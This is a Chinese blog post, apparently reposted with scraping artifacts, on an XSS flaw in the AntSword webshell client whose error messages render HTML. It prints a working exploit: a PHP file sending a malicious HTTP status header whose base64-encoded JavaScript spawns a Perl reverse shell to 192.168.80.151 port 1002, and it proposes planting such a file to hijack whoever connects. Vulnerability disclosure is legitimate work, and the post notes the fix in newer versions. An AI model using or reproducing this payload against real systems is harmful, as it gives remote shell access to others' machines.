蚁剑xss漏洞,获取者shell

今日在github上看到蚁剑暴露了一个xss漏洞,本身也常常使用蚁剑。同时在freebuf上也有一篇文章,关于蚁剑漏洞的。闲着没事测试了一波。php

1、漏洞成因

蚁剑shell远程链接失败时,蚁剑会返回错误信息,但由于使用的是html解析,致使xss漏洞。html

用过蚁剑的童靴都清楚,当咱们远程链接写好的webshell的时候,有时候可能由于shell书写错误或者连接填写不当的时候,会出现大堆的错误代码。
蚁剑xss漏洞,获取者shellgit

该信息并无进行 XSS 保护,所以可以利用 js 调用 perl 即可反弹***者的shellgithub

不少时候咱们不去注意,但这里偏偏就是漏洞利用点。(漏洞每每就在你的眼皮地下,你只要向下看看就能找到。惋惜咱们只向前看,不向下看。)web

2、漏洞验证

鉴于本人对js没有深刻了解,只懂得些皮毛。这里就直接引用别人写好的shell了shell

(1)验证xss漏洞的存在

<?php header('HTTP/1.1 500 <img src=# onerror=alert(1)>');?>bash

蚁剑xss漏洞,获取者shell

Head()函数,向客户端发送原始的 HTTP 报头。
当蚁剑远程链接shell的时候就会触发弹框。socket

(2)反弹***者shell

require('child_process').exec('perl -e \'use Socket;$i="192.168.80.151";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\'',(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); });

将这些代码进行base64加密xss

cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxOTIuMTY4LjgwLjE1MSI7JHA9MTAwMjtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL2Jhc2ggLWkiKTt9O1wnJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7CiAgfSk7tcp

构造header

<?php

header("HTTP/1.1 406 Not <img src=# onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxOTIuMTY4LjgwLjE1MSI7JHA9MTAwMjtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL2Jhc2ggLWkiKTt9O1wnJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7CiAgfSk7`,`base64`).toString())'>");
?>

将其写入被***中的网站目录下
蚁剑xss漏洞,获取者shell

被***机监听1002端口
蚁剑xss漏洞,获取者shell

***机蚁剑远程链接

蚁剑xss漏洞,获取者shell

得到***者shell
蚁剑xss漏洞,获取者shell

在最新的版本中, 修改了 toastr 能够输出 html 的特色,之后均不支持输出 html。建议及时更新到最新版本

3、总结

若是你检测到了本身被上传了webshell,不妨能够试一试这个漏洞,对方若是使用的是蚁剑,当对方链接你的时候,也是他上线的时候。或者在比赛(zhen shi)环境的时候,故意制造一个这样的shell,诱惑一些小可爱连一下。

参考连接:
https://github.com/AntSwordProject/antSword/issues/147

相关文章
相关标签/搜索